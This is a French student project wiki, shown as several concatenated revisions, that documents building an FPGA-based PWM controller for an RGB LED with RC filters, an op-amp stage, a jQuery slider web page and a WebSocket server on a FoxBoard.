Concernant le programme, nous avons suivi le schéma que nous avions réalisé lors de la séance précédente tout en l'améliorant. Nous avons donc, comme prévu, utilisé un multiplexeur, contrôlé par un compteur modulo 3, afin de stocker les valeurs des 8 bits de commandes dans 3 bascules D, une pour chaque couleur. Nous avons ensuite utilisé un autre compteur pour chaque bascule ainsi qu'un comparateur. Chaque compteur va ainsi compter de 0 à 255 (pour les 256 couleurs) et le comparateur pourra nous permettre de savoir si la valeur est maximale ou non. En effet, si le compteur a une valeur supérieure ou égale à la valeur stockée en mémoire, le comparateur renverra 1, sinon il renverra 0. Ainsi nous aurons 3 sorties qui vont nous permettre de modifier le rapport cyclique des signaux sans pour autant modifier les fréquences qui restent constantes.
[[Fichier:ProgLed.png|1000px|thumb|center|Premier programme de contrôle]]

== Partie informatique ==

Pour cette deuxième séance, nous avons étudié le langage javascript afin de réaliser les curseurs de couleur sur la page WEB de l'application.
Nous avons utilisé la bibliothèque javascript : [https://jquery.com/ '''jQuery''']. Nous avons réadapté un exemple de 3 sliders contrôlant des paramètres de couleur RVB, selon nos besoins, en modifiant le sens et la taille.

Ensuite, nous sommes passés à la liaison avec le WebSocket. On a alors récupéré la partie de code réalisée lors de la [[#Partie informatique|première séance]] correspondant à la partie réseau pour l'insérer au code des sliders de couleur. Les sliders permettent d'envoyer des caractères, il y a donc nécessité de convertir ces données en entier pour permettre à la LED de s'allumer et de changer de couleurs. Cette conversion se fait dans la code de la Websocket, ainsi elle est réalisée après réception du message.

[[Fichier:SchémaLiaison.png|700px|thumb|left| Schéma de liaison des fichiers]] [[Fichier:blanc.png|270px]]

Nous avons alors procédé au test qui s'est montré concluant. Vient alors la dernière partie qui est celle de l'ajout d'un slider correspondant au clignotement de la diode. Pour ce faire, nous avons utilisé la fonction 'setTimeout' qui permet de réaliser une fonction pendant un temps donné (ce sera notre durée de clignotement, donc le paramètres de notre 4ème slider). Après écriture de la fonction 'clignotement' et test de cette dernière, on a pu constater que la diode clignotait bien à une vitesse réglable sur la page web.

[[Fichier:Curseurs1.png|450px|thumb|center|Page Web - Curseurs]]
[[Fichier:photoled.JPG|450px|thumb|center|Photo de la LED avec le code couleur ci-dessus]]

= Troisième séance =
== Partie électronique ==

=== Montage ===
Lors de cette séance, nous avons commencé par mesurer la fréquence de sortie de la NanoBoard grâce à un oscilloscope et nous obtenons une fréquence de 390 Hz avec une tension de 3,3V.
Grâce à cette valeur, nous avons ainsi pu simplifier notre montage précédent, la sortie de notre filtre n'étant pas de 3,3V mais de 2V, nous n'avions plus besoin d'utiliser un montage diviseur de tension pour brancher les LEDs rouge et verte. Cependant, il fallait encore vérifier le montage amplificateur de signal pour obtenir une valeur de tension de 4V puis relier la sortie de ce montage aux LEDs bleues. Nous devions donc faire un montage à amplification opérationnel non-inverseur afin que la tension de sortie soit toujours positive. Nous avons donc un schéma de ce type:
[[Fichier:AmpliOpnninverseur.png|300px|thumb|center|Schéma amplificateur opérationnel non-inverseur]]

avec des valeurs des résistances qui nous permettent d'avoir un rapport de 2 en sortie de l'amplificateur opérationnel. La formule est donc :

<math>Vs= Ve * (1+ \frac{R1}{R2})</math>.

Ainsi il faut prendre 2 résistances R1 et R2 identiques.
Notre montage est donc simplifié.

[[Fichier:ampliOPni.JPG|250px|thumb|center|Montage amplificateur]]

Nous avons ensuite essayé d'utiliser un seul circuit pour contrôler les différentes LEDs, or nous avons vu que cela était impossible, il fallait donc 3 filtres RC et un amplificateur opérationnel non inverseur à ajouter pour les LEDs bleues. Nous nous sommes rendus compte que l'intensité parcourant les LEDs rouge et verte n'était pas assez élevée, nous avons donc diminué la valeur de la résistance du filtre et augmenté celle du condensateur. Nous avons choisi R = 100Ω et C = 100µF. Nous conservons donc une bande passante de 15 Hz.
[[Fichier:MontageLed complet.JPG|400px|thumb|center|Nouveau montage fonctionnel]]

=== Programme ===
Nous avons aussi testé chaque partie de notre programme principal afin de déceler une possible erreur. Nous avons vu qu'il était impossible que le compteur modulo 3 que nous avions placé au début du montage soit directement lié au bit d'autorisation que nous avons placé en entrée. Nous avons donc utilisé une horloge que nous lions au bit d'entrée par une porte ET logique. Nous avons aussi abandonné l'idée de lier le reset du compteur à ses sorties.

[[Fichier:PROG2.0.png|600px|thumb|center|Nouveau programme]]

Nous avons ainsi visualisé que plus la commande envoyée était grande, plus le rapport cyclique était important. [[Fichier:rapportcyclique.JPG|250px|center|thumb| Rapport cyclique pour une donnée d'entrée de : 1011 1001 à une fréquence de 100kHz]]

Nous avons ensuite créé un autre programme nous permettant de faire s'allumer les 3 couleurs en envoyant 3 signaux en entrée, nous avons donc enlevé le multiplexeur.
[[Fichier:Testallumage.png|700px|thumb|center|Programme de test d'allumage des Leds]]

Ainsi, nous arrivions pour une fréquence fixée par la clock à 100kHz et des données de commandes différentes à faire s'allumer les 4 leds.

[[Fichier:Blanc.png|260px]] [[Fichier:AllumageLED.jpg|250px]] [[Fichier:Blanc.png|30px]] [[Fichier:Ledallumee.jpg|330px]]

Suite à ce test réussi, nous avons décidé d'utiliser notre programme principal afin qu'il puisse gérer les 3 couleurs selon la donnée de commande envoyée.
Nous nous sommes aperçus que le compteur modulo 3 à l'entrée de notre programme posait un problème car il ne se réinitialisait pas au bon moment, la clock que nous utilisions ne nous permettait pas un fonctionnement optimal. Nous avons donc de nouveau branché le bit d'autorisation au compteur. De plus il y avait aussi le problème de la transmission de l'autorisation de lecture aux bascules à partir de l'autorisation d'entrée, il fallait en effet gérer le multiplexeur pour qu'il n'envoie pas l'information deux fois à la même bascule et il fallait "retarder" l'autorisation pour que l'on puisse lire ce qu'il y avait dans le registre après que l'information a été transmise.
Nous avons donc utilisé une porte ET logique et des inverseurs selon les commandes: il fallait autoriser la lecture du premier registre avant qu'il y ait une modification donc, quand les bits de sortie du compteur modulo 3 était: S0 S1: 0 0, nous pouvions lire ce qui était enregistré dans le premier registre. Il fallait donc un décalage de -1 entre les autorisations de lecture et la sélection par le multiplexeur.
[[Fichier:Programmefonctionnelfinal.png|1000px|thumb|center|Programme final de contrôle de la LED RVB]]

Nous pouvons ainsi tester notre programme pour vérifier s'il allume bien chaque LED sans en éteindre une autre à chaque fois que l'on envoie une nouvelle donnée. Voici une vidéo d'un test réalisé : [[Fichier:Testfinal.mp4]]

== Partie informatique ==

Lors de cette dernière séance, furent réalisées la prise en main et l'installation de la FoxBoard.

===Prise en main :===

Pour pouvoir importer notre programme et faire fonctionner notre Page Web dans la FoxBoard, il faut que cette dernière puisse communiquer avec notre ordinateur mais également avec le réseaux de l'école afin d'installer les librairies nécessaires à ce projet. On va pour cela changer la configuration Ethernet de la FoxBoard avec l'adresse IP de notre machine fixe. Nous pouvons donc maintenant nous connecter à la FoxBoard à partir de notre ordinateur fixe.

===Installation :===

Le problème ensuite fut d'installer une librairie Websocket stable pour la Foxboard, en allant chercher dans des versions antérieurs. Il faut donc dire à la Foxboard d'aller chercher les paquets sur une autre version. Après cette installation, il faut importer tous les fichiers nécessaires pour le programme de la Websocket, ensuite les recompiler à partir de la FoxBoard, écrire le lien du programme compilé dans le /etc/rc.local pour qu'il s’exécute au démarrage, et lui rajouter un "&" pour qu'il s'exécute en continu.

On place ensuite dans le fichier /var/www/LED de la FoxBoard la page du site en HTML ainsi que les librairies 'javascript' et 'css' nécessaires à cette dernière. Grâce à cela nous pouvons accéder à notre page Web à partir de n'importe quel ordinateur relié au réseau sur son navigateur : [http://172.26.79.1/LED/essai.html Notre Page (nécessite que la FoxBoard soit connectée et branchée à une LED en sortie)]Pour faire fonctionner le programme, il faut que la FoxBoard soit bien reliée au réseau de l'école (ainsi que l'ordinateur avec la page WEB) et lui faire faire un reboot au préalable.

Voici le test final de la partie informatique : [[Fichier:IMG_1824.mp4]]

Ainsi que les codes : [[Fichier:ProjetSC.zip]]

= Séances supplémentaires =

N'ayant pas pu réunir les deux parties lors d'une des séances précédentes, nous avons pris plusieurs heures pour essayer d'y parvenir.
Il fallait relier la FoxBard à la NanoBoard, pour cela nous devions utiliser une liaison série. Il fallait seulement utiliser la réception série.
Pour cela, nous devions modifier notre schéma logique. Il ne fallait plus utiliser d'entrée avec le "DIGITAL I/O" car les 8 bits de commande seront envoyés directement par la FoxBoard sur la NanoBoard et le bit d'autorisation de lecture sera aussi généré par la liaison série.

Il fallait de plus relier la liaison série en réception et il fallait aussi utiliser l'horloge déjà existante pour la relier à l'entrée de la liaison série comme "clock fpga". En effet, la liaison envoie des données bit par bit, il fallait donc utiliser l'horloge pour envoyer la commande entière.

Nous avons ainsi simplement fait ces modifications mais nous avons été surpris lorsque nous avons vu des erreurs de compilation sur une horloge qui n'était apparemment pas dans notre schéma.

Nous avons donc fait des tests sur la liaison série car notre schéma fonctionnait très bien avec l'entrée manuelle que nous avions remplacée par la liaison série. Nous avons visualisé l'entrée et la sortie de la liaison série et, bien que l'entrée change lorsque nous envoyons des informations différentes à partir du site Web, la sortie reste nulle, aussi bien le bit d'autorisation que les bits de commande.

Il y a donc quelque chose qui ne fonctionne pas dans la sortie de la liaison série.

Nous avons ensuite pris quelques heures supplémentaires pour nous concentrer sur ce problème, nous avons pensé qu'il pouvait aussi venir de l'entrée de la liaison série car si la sortie était nulle, cela pouvait aussi être un problème avec ce qu'elle recevait.

Nous avons donc eu l'idée d'inverser le signal d'entrée afin de ne pas le définir comme une horloge. Bien que l'erreur initiale ne soit plus là, il y en avait une autre qui nous disait que la sortie RX ne pouvait pas être seulement inversée lorsqu'elle arrivait à la liaison série.

(A compléter ...)

[[Fichier:Finliaisonsérie2.PNG|850px|thumb|center|Schéma fonctionnel comportant la réception série]]

Nous avons ainsi effectué un test. [[Fichier:Ledfin.mp4]]

= Conclusion =
Ce projet a été l'occasion pour nous de voir un peu tous les aspects de la formation SC (en informatique : réseau, développement web, programmation - en électronique : circuits, FPGA). Il a donc été très enrichissant. Il nous a aussi permis de mettre en application certaines notions que nous avions vu au semestre précédent aussi bien en logique, en électronique qu'en informatique.

Il nous a aussi permis de nous tester : autant au niveau des compétences techniques que nous devons avoir mais aussi au niveau de l'autonomie de travail.

La partie informatique fut plutôt variée avec la manipulation de différents langages de programmation tel que HTML5, CSS, ou encore le JavaScript, même s'il y avait encore du C, la véritable nouveauté était la manipulation du Websocket.
Malgré les difficultés de manipulation et d'apprentissage de ces langages, nous avons été en mesure de créer une application Web nous permettant de répondre aux besoins du projet.

La partie électronique fut elle aussi variée et compliquée. Nous avons eu du mal à réellement cerner le problème lors de la première séance, ce qui nous a fait perdre du temps que nous avons rattrapé par la suite, afin de pouvoir terminer le projet et lier les deux parties grâce à plusieurs heures supplémentaires. Cette partie fut assez compliquée notamment à cause des différentes valeurs qu'il fallait utiliser. Il fallait en effet gérer les différentes LEDs parfois différemment. Nous devions aussi essayer de rendre le schéma le plus fonctionnel et simple possible afin d'améliorer la transmission des données.

Ce projet nous a ainsi permis de nous familiariser avec différents logiciels et langages de programmation. Nous avons pu rassembler les deux parties qui étaient fonctionnelles individuellement et réussi à les rendre fonctionnelles ensemble.

Bien que le temps initial consacré au projet était assez court (12 h), nous avons réussi à répondre au cahier des charges initial. Avec quelques heures supplémentaires, nous aurions peut-être pu ajouter quelques fonctionnalités à notre projet, tel que le choix du clignotement ou non, en plus de la fréquence à régler. Nous aurions aussi peut-être pu imaginer un mode automatique, c'est à dire un mode qui aurait pu parcourir toutes les couleurs puis modifier automatiquement le clignotement.

Nous remercions bien sûr les professeurs pour leur aide, leurs conseils et leur encadrement.

Gestion de LED RVB, 2014/2015, TD2

2015-04-16T13:32:47Z

Smaia : /* Installation : */

= Objectifs =

Ce projet SC a pour objectif de réaliser un circuit de contrôle d'une LED 256 couleurs ainsi qu'une interface WEB permettant de faire varier sa couleur. Il se décompose donc en deux parties :

*partie informatique : il s'agit d'une interface Web composée de 4 sliders, 3 pour les couleurs et un pour la vitesse de clignotement. Les informations des sliders sont converties dans le Websocket puis stockées sur la FoxBoard.

*partie électronique : il s'agit de générer trois signaux simulant les informations envoyées par le site Web; ces signaux sont convertis puis moyennés et permettent de gérer l'allumage de la LED RVB.

= Première séance =
== Partie électronique ==
Au cours de cette séance, nous avons tout d'abord appréhendé le sujet. Puis nous avons réalisé le tutoriel pour la prise en main du logiciel Altium Designer et la Nanoboard.
Suite à cela, nous avons commencé à réaliser le schéma du montage.
[[Fichier:Filtre_RC.png|250px|thumb|left|Schéma Filtre RC]]

Nous savions que nous devions utiliser un filtre passe bas, nous avons donc opté pour un filtre RC d'ordre 1.
Pour connaître les valeurs de la résistance et de la capacité qu'il faut utiliser, nous avons fait un simple calcul afin d'obtenir une bande passante d'environ 15 Hz. Ainsi nous avons choisi une résistance de 1KΩ et une capacité d'environ 10µF.
Ce filtre va donc nous permettre de ne prendre en compte que les fréquences basses et au vu des valeurs choisies, nous n'aurons qu'une faible variation de fréquence.

[[Fichier:Ebauche_prg.png|300px|thumb|right|Ebauche programme de contrôle]]

Pour le schéma de construction du programme, nous avons réfléchi sur la meilleure manière de pouvoir lire les valeurs stockées en mémoire. Nous avons ainsi utilisé un multiplexeur qui, selon un code émis, va envoyer ce signal d'entrée vers une de ses sorties. Pour générer ce code, nous nous sommes servi d'un compteur modulo 3 car nous n'allons nous servir que de 3 des 4 sorties du multiplexeur.

Nous avons aussi essayé de traduire au mieux l'énoncé, nous avons donc défini le rapport cyclique comme étant la durée du temps "haut" divisée par la période T. Savoir cela va nous permettre de savoir ce que nous devrons modifier.

Nous avons aussi étudié la LED RVB et nous avons ainsi pu voir qu'elle était composée de 6 branches : 4 anodes et 2 cathodes, ce qui représente 2 LEDs bleues, une rouge et une verte. Nous avons aussi vu que le courant passant dans la LED ne devait pas excéder 10 mA, ce qui correspond à une tension d'entrée de la LED de 4V.

== Partie informatique ==

Nous avons appris à configurer le port série avec une application codée en langage C, qui a été modifiée afin d’envoyer 3 entiers au lieu de 8. Nous avons ensuite allumé une LED placée sur une carte Arduino, reliée au port série de l'ordinateur en modifiant directement les valeurs initialisées dans le programme.
Puis nous avons fait la liaison entre un serveur Websocket ainsi qu'une application répondant au Websocket, permettant l'écriture sur le port série afin de pouvoir modifier la couleur de la LED.
Un serveur Websocket permet de lire ou d'envoyer des données entre un navigateur et une application distante. Dans notre cas, il nous faut récupérer des entiers correspondant au code couleur Rouge Vert Bleu de la LED branchée à l'Arduino pour lui envoyer. Le serveur va donc tourner en continu en attendant qu'on lui envoie des caractères qu'il va convertir en entiers. La récupération des caractères est réalisée grâce à la fonction 'sscanf', la conversion de ces derniers en entiers et l'envoi vers l'application est, elle, réalisée par la fonction 'write'.

Nous avons finalement mis en place une page Web afin de pouvoir y entrer 3 caractères tapés au clavier, correspondant au code couleur RVB. La WebSocket permettant la liaison entre la page web et l'application réalisant l'écriture sur le port série, nous avons donc rendu possible la modification des couleurs de la LED à partir de la page WEB.

= Deuxième séance =
== Partie électronique ==

=== Montage ===
Durant cette séance, nous avons décidé de perfectionner notre montage car nous avions oublié une chose importante lors de la séance précédente : les différentes LEDs n'ont pas toutes la même tension de seuil, en effet les LEDs bleues ont une tension de seuil de 4V environ, la LED rouge en a une de 2V, de même que la LED verte.
Il fallait donc modifier notre montage afin de ne pas prendre le risque de griller une LED.
Nous savions aussi que la tension délivrée par la Nanoboard est de 3,3V, il fallait donc amplifier cette valeur pour les LEDs bleues, et la diminuer pour les LEDs rouge et verte.
Pour cela nous avons décidé d'utiliser un diviseur de tension afin d'obtenir une tension maximale de 2V. Ainsi nous avons utilisé 2 résistances: une de 200Ω et une autre de 330Ω.
[[Fichier:Diviseur_de_tension.jpg|200px|thumb|center|Diviseur de tension]]
Nous avons ensuite réalisé un montage nous permettant d'amplifier la valeur de la tension de sortie de la Nanoboard afin de la faire atteindre 4V. Pour cela, nous avons utilisé un amplificateur opérationnel ainsi que deux résistances: une de 1kΩ et une autre de 1,2kΩ. Ainsi la tension maximale délivrée est de 4V.
[[Fichier:ampliOp.jpg|200px|thumb|center|AOP non-inverseur]]
Enfin, nous devions relier la sortie de la Nanoboard au filtre passe-bas déjà réalisé, puis il fallait relier la sortie de ce filtre aux différentes parties du montage. Chaque montage correspondait à une paire de LEDs: le diviseur de tension pour les LEDs rouge et verte et l'amplificateur opérationnel pour les LEDs bleues.
[[Fichier:montageled.jpg|200px|thumb|center|Montage final]]

=== Programme ===
Concernant le programme, nous avons suivi le schéma que nous avions réalisé lors de la séance précédente tout en l'améliorant. Nous avons donc, comme prévu, utilisé un multiplexeur, contrôlé par un compteur modulo 3, afin de stocker les valeurs des 8 bits de commandes dans 3 bascules D, une pour chaque couleur. Nous avons ensuite utilisé un autre compteur pour chaque bascule ainsi qu'un comparateur. Chaque compteur va ainsi compter de 0 à 255 (pour les 256 couleurs) et le comparateur pourra nous permettre de savoir si la valeur est maximale ou non. En effet, si le compteur a une valeur supérieure ou égale à la valeur stockée en mémoire, le comparateur renverra 1, sinon il renverra 0. Ainsi nous aurons 3 sorties qui vont nous permettre de modifier le rapport cyclique des signaux sans pour autant modifier les fréquences qui restent constantes.
[[Fichier:ProgLed.png|1000px|thumb|center|Premier programme de contrôle]]

== Partie informatique ==

Pour cette deuxième séance, nous avons étudié le langage javascript afin de réaliser les curseurs de couleur sur la page WEB de l'application.
Nous avons utilisé la bibliothèque javascript : [https://jquery.com/ '''jQuery''']. Nous avons réadapté un exemple de 3 sliders contrôlant des paramètres de couleur RVB, selon nos besoins, en modifiant le sens et la taille.

Ensuite, nous sommes passés à la liaison avec le WebSocket. On a alors récupéré la partie de code réalisée lors de la [[#Partie informatique|première séance]] correspondant à la partie réseau pour l'insérer au code des sliders de couleur. Les sliders permettent d'envoyer des caractères, il y a donc nécessité de convertir ces données en entier pour permettre à la LED de s'allumer et de changer de couleurs. Cette conversion se fait dans la code de la Websocket, ainsi elle est réalisée après réception du message.

[[Fichier:SchémaLiaison.png|700px|thumb|left| Schéma de liaison des fichiers]] [[Fichier:blanc.png|270px]]

Nous avons alors procédé au test qui s'est montré concluant. Vient alors la dernière partie qui est celle de l'ajout d'un slider correspondant au clignotement de la diode. Pour ce faire, nous avons utilisé la fonction 'setTimeout' qui permet de réaliser une fonction pendant un temps donné (ce sera notre durée de clignotement, donc le paramètres de notre 4ème slider). Après écriture de la fonction 'clignotement' et test de cette dernière, on a pu constater que la diode clignotait bien à une vitesse réglable sur la page web.

[[Fichier:Curseurs1.png|450px|thumb|center|Page Web - Curseurs]]
[[Fichier:photoled.JPG|450px|thumb|center|Photo de la LED avec le code couleur ci-dessus]]

= Troisième séance =
== Partie électronique ==

=== Montage ===
Lors de cette séance, nous avons commencé par mesurer la fréquence de sortie de la NanoBoard grâce à un oscilloscope et nous obtenons une fréquence de 390 Hz avec une tension de 3,3V.
Grâce à cette valeur, nous avons ainsi pu simplifier notre montage précédent, la sortie de notre filtre n'étant pas de 3,3V mais de 2V, nous n'avions plus besoin d'utiliser un montage diviseur de tension pour brancher les LEDs rouge et verte. Cependant, il fallait encore vérifier le montage amplificateur de signal pour obtenir une valeur de tension de 4V puis relier la sortie de ce montage aux LEDs bleues. Nous devions donc faire un montage à amplification opérationnel non-inverseur afin que la tension de sortie soit toujours positive. Nous avons donc un schéma de ce type:
[[Fichier:AmpliOpnninverseur.png|300px|thumb|center|Schéma amplificateur opérationnel non-inverseur]]

avec des valeurs des résistances qui nous permettent d'avoir un rapport de 2 en sortie de l'amplificateur opérationnel. La formule est donc :

<math>Vs= Ve * (1+ \frac{R1}{R2})</math>.

Ainsi il faut prendre 2 résistances R1 et R2 identiques.
Notre montage est donc simplifié.

[[Fichier:ampliOPni.JPG|250px|thumb|center|Montage amplificateur]]

Nous avons ensuite essayé d'utiliser un seul circuit pour contrôler les différentes LEDs, or nous avons vu que cela était impossible, il fallait donc 3 filtres RC et un amplificateur opérationnel non inverseur à ajouter pour les LEDs bleues. Nous nous sommes rendus compte que l'intensité parcourant les LEDs rouge et verte n'était pas assez élevée, nous avons donc diminué la valeur de la résistance du filtre et augmenté celle du condensateur. Nous avons choisi R = 100Ω et C = 100µF. Nous conservons donc une bande passante de 15 Hz.
[[Fichier:MontageLed complet.JPG|400px|thumb|center|Nouveau montage fonctionnel]]

=== Programme ===
Nous avons aussi testé chaque partie de notre programme principal afin de déceler une possible erreur. Nous avons vu qu'il était impossible que le compteur modulo 3 que nous avions placé au début du montage soit directement lié au bit d'autorisation que nous avons placé en entrée. Nous avons donc utilisé une horloge que nous lions au bit d'entrée par une porte ET logique. Nous avons aussi abandonné l'idée de lier le reset du compteur à ses sorties.

[[Fichier:PROG2.0.png|600px|thumb|center|Nouveau programme]]

Nous avons ainsi visualisé que plus la commande envoyée était grande, plus le rapport cyclique était important. [[Fichier:rapportcyclique.JPG|250px|center|thumb| Rapport cyclique pour une donnée d'entrée de : 1011 1001 à une fréquence de 100kHz]]

Nous avons ensuite créé un autre programme nous permettant de faire s'allumer les 3 couleurs en envoyant 3 signaux en entrée, nous avons donc enlevé le multiplexeur.
[[Fichier:Testallumage.png|700px|thumb|center|Programme de test d'allumage des Leds]]

Ainsi, nous arrivions pour une fréquence fixée par la clock à 100kHz et des données de commandes différentes à faire s'allumer les 4 leds.

[[Fichier:Blanc.png|260px]] [[Fichier:AllumageLED.jpg|250px]] [[Fichier:Blanc.png|30px]] [[Fichier:Ledallumee.jpg|330px]]

Suite à ce test réussi, nous avons décidé d'utiliser notre programme principal afin qu'il puisse gérer les 3 couleurs selon la donnée de commande envoyée.
Nous nous sommes aperçus que le compteur modulo 3 à l'entrée de notre programme posait un problème car il ne se réinitialisait pas au bon moment, la clock que nous utilisions ne nous permettait pas un fonctionnement optimal. Nous avons donc de nouveau branché le bit d'autorisation au compteur. De plus il y avait aussi le problème de la transmission de l'autorisation de lecture aux bascules à partir de l'autorisation d'entrée, il fallait en effet gérer le multiplexeur pour qu'il n'envoie pas l'information deux fois à la même bascule et il fallait "retarder" l'autorisation pour que l'on puisse lire ce qu'il y avait dans le registre après que l'information a été transmise.
Nous avons donc utilisé une porte ET logique et des inverseurs selon les commandes: il fallait autoriser la lecture du premier registre avant qu'il y ait une modification donc, quand les bits de sortie du compteur modulo 3 était: S0 S1: 0 0, nous pouvions lire ce qui était enregistré dans le premier registre. Il fallait donc un décalage de -1 entre les autorisations de lecture et la sélection par le multiplexeur.
[[Fichier:Programmefonctionnelfinal.png|1000px|thumb|center|Programme final de contrôle de la LED RVB]]

Nous pouvons ainsi tester notre programme pour vérifier s'il allume bien chaque LED sans en éteindre une autre à chaque fois que l'on envoie une nouvelle donnée. Voici une vidéo d'un test réalisé : [[Fichier:Testfinal.mp4]]

== Partie informatique ==

Lors de cette dernière séance, furent réalisées la prise en main et l'installation de la FoxBoard.

===Prise en main :===

Pour pouvoir importer notre programme et faire fonctionner notre Page Web dans la FoxBoard, il faut que cette dernière puisse communiquer avec notre ordinateur mais également avec le réseaux de l'école afin d'installer les librairies nécessaires à ce projet. On va pour cela changer la configuration Ethernet de la FoxBoard avec l'adresse IP de notre machine fixe. Nous pouvons donc maintenant nous connecter à la FoxBoard à partir de notre ordinateur fixe.

===Installation :===

Le problème ensuite fut d'installer une librairie Websocket stable pour la Foxboard, en allant chercher dans des versions antérieurs. Il faut donc dire à la Foxboard d'aller chercher les paquets sur une autre version. Après cette installation, il faut importer tous les fichiers nécessaires pour le programme de la Websocket, ensuite les recompiler à partir de la FoxBoard, écrire le lien du programme compilé dans le /etc/rc.local pour qu'il s’exécute au démarrage, et lui rajouter un "&" pour qu'il s'exécute en continu.

On place ensuite dans le fichier /var/www/LED de la FoxBoard la page du site en HTML ainsi que les librairies 'javascript' et 'css' nécessaires à cette dernière. Grâce à cela nous pouvons accéder à notre page Web à partir de n'importe quel ordinateur relié au réseau sur son navigateur : [http://172.26.79.1/LED/essai.html Notre Page (nécessite que la FoxBoard soit connectée et branchée à une LED en sortie)]Pour faire fonctionner le programme, il faut que la FoxBoard soit bien reliée au réseau de l'école et lui faire faire un reboot au préalable.

Voici le test final de la partie informatique : [[Fichier:IMG_1824.mp4]]

Ainsi que les codes : [[Fichier:ProjetSC.zip]]

= Séances supplémentaires =

N'ayant pas pu réunir les deux parties lors d'une des séances précédentes, nous avons pris plusieurs heures pour essayer d'y parvenir.
Il fallait relier la FoxBard à la NanoBoard, pour cela nous devions utiliser une liaison série. Il fallait seulement utiliser la réception série.
Pour cela, nous devions modifier notre schéma logique. Il ne fallait plus utiliser d'entrée avec le "DIGITAL I/O" car les 8 bits de commande seront envoyés directement par la FoxBoard sur la NanoBoard et le bit d'autorisation de lecture sera aussi généré par la liaison série.

Il fallait de plus relier la liaison série en réception et il fallait aussi utiliser l'horloge déjà existante pour la relier à l'entrée de la liaison série comme "clock fpga". En effet, la liaison envoie des données bit par bit, il fallait donc utiliser l'horloge pour envoyer la commande entière.

Nous avons ainsi simplement fait ces modifications mais nous avons été surpris lorsque nous avons vu des erreurs de compilation sur une horloge qui n'était apparemment pas dans notre schéma.

Nous avons donc fait des tests sur la liaison série car notre schéma fonctionnait très bien avec l'entrée manuelle que nous avions remplacée par la liaison série. Nous avons visualisé l'entrée et la sortie de la liaison série et, bien que l'entrée change lorsque nous envoyons des informations différentes à partir du site Web, la sortie reste nulle, aussi bien le bit d'autorisation que les bits de commande.

Il y a donc quelque chose qui ne fonctionne pas dans la sortie de la liaison série.

Nous avons ensuite pris quelques heures supplémentaires pour nous concentrer sur ce problème, nous avons pensé qu'il pouvait aussi venir de l'entrée de la liaison série car si la sortie était nulle, cela pouvait aussi être un problème avec ce qu'elle recevait.

Nous avons donc eu l'idée d'inverser le signal d'entrée afin de ne pas le définir comme une horloge. Bien que l'erreur initiale ne soit plus là, il y en avait une autre qui nous disait que la sortie RX ne pouvait pas être seulement inversée lorsqu'elle arrivait à la liaison série.

(A compléter ...)

[[Fichier:Finliaisonsérie2.PNG|850px|thumb|center|Schéma fonctionnel comportant la réception série]]

Nous avons ainsi effectué un test. [[Fichier:Ledfin.mp4]]

= Conclusion =
Ce projet a été l'occasion pour nous de voir un peu tous les aspects de la formation SC (en informatique : réseau, développement web, programmation - en électronique : circuits, FPGA). Il a donc été très enrichissant. Il nous a aussi permis de mettre en application certaines notions que nous avions vu au semestre précédent aussi bien en logique, en électronique qu'en informatique.

Il nous a aussi permis de nous tester : autant au niveau des compétences techniques que nous devons avoir mais aussi au niveau de l'autonomie de travail.

La partie informatique fut plutôt variée avec la manipulation de différents langages de programmation tel que HTML5, CSS, ou encore le JavaScript, même s'il y avait encore du C, la véritable nouveauté était la manipulation du Websocket.
Malgré les difficultés de manipulation et d'apprentissage de ces langages, nous avons été en mesure de créer une application Web nous permettant de répondre aux besoins du projet.

La partie électronique fut elle aussi variée et compliquée. Nous avons eu du mal à réellement cerner le problème lors de la première séance, ce qui nous a fait perdre du temps que nous avons rattrapé par la suite, afin de pouvoir terminer le projet et lier les deux parties grâce à plusieurs heures supplémentaires. Cette partie fut assez compliquée notamment à cause des différentes valeurs qu'il fallait utiliser. Il fallait en effet gérer les différentes LEDs parfois différemment. Nous devions aussi essayer de rendre le schéma le plus fonctionnel et simple possible afin d'améliorer la transmission des données.

Ce projet nous a ainsi permis de nous familiariser avec différents logiciels et langages de programmation. Nous avons pu rassembler les deux parties qui étaient fonctionnelles individuellement et réussi à les rendre fonctionnelles ensemble.

Bien que le temps initial consacré au projet était assez court (12 h), nous avons réussi à répondre au cahier des charges initial. Avec quelques heures supplémentaires, nous aurions peut-être pu ajouter quelques fonctionnalités à notre projet, tel que le choix du clignotement ou non, en plus de la fréquence à régler. Nous aurions aussi peut-être pu imaginer un mode automatique, c'est à dire un mode qui aurait pu parcourir toutes les couleurs puis modifier automatiquement le clignotement.

Nous remercions bien sûr les professeurs pour leur aide, leurs conseils et leur encadrement.

Gestion de LED RVB, 2014/2015, TD2

2015-04-16T13:32:29Z

Smaia : /* Installation : */

= Objectifs =

Ce projet SC a pour objectif de réaliser un circuit de contrôle d'une LED 256 couleurs ainsi qu'une interface WEB permettant de faire varier sa couleur. Il se décompose donc en deux parties :

*partie informatique : il s'agit d'une interface Web composée de 4 sliders, 3 pour les couleurs et un pour la vitesse de clignotement. Les informations des sliders sont converties dans le Websocket puis stockées sur la FoxBoard.

*partie électronique : il s'agit de générer trois signaux simulant les informations envoyées par le site Web; ces signaux sont convertis puis moyennés et permettent de gérer l'allumage de la LED RVB.

= Première séance =
== Partie électronique ==
Au cours de cette séance, nous avons tout d'abord appréhendé le sujet. Puis nous avons réalisé le tutoriel pour la prise en main du logiciel Altium Designer et la Nanoboard.
Suite à cela, nous avons commencé à réaliser le schéma du montage.
[[Fichier:Filtre_RC.png|250px|thumb|left|Schéma Filtre RC]]

Nous savions que nous devions utiliser un filtre passe bas, nous avons donc opté pour un filtre RC d'ordre 1.
Pour connaître les valeurs de la résistance et de la capacité qu'il faut utiliser, nous avons fait un simple calcul afin d'obtenir une bande passante d'environ 15 Hz. Ainsi nous avons choisi une résistance de 1KΩ et une capacité d'environ 10µF.
Ce filtre va donc nous permettre de ne prendre en compte que les fréquences basses et au vu des valeurs choisies, nous n'aurons qu'une faible variation de fréquence.

[[Fichier:Ebauche_prg.png|300px|thumb|right|Ebauche programme de contrôle]]

Pour le schéma de construction du programme, nous avons réfléchi sur la meilleure manière de pouvoir lire les valeurs stockées en mémoire. Nous avons ainsi utilisé un multiplexeur qui, selon un code émis, va envoyer ce signal d'entrée vers une de ses sorties. Pour générer ce code, nous nous sommes servi d'un compteur modulo 3 car nous n'allons nous servir que de 3 des 4 sorties du multiplexeur.

Nous avons aussi essayé de traduire au mieux l'énoncé, nous avons donc défini le rapport cyclique comme étant la durée du temps "haut" divisée par la période T. Savoir cela va nous permettre de savoir ce que nous devrons modifier.

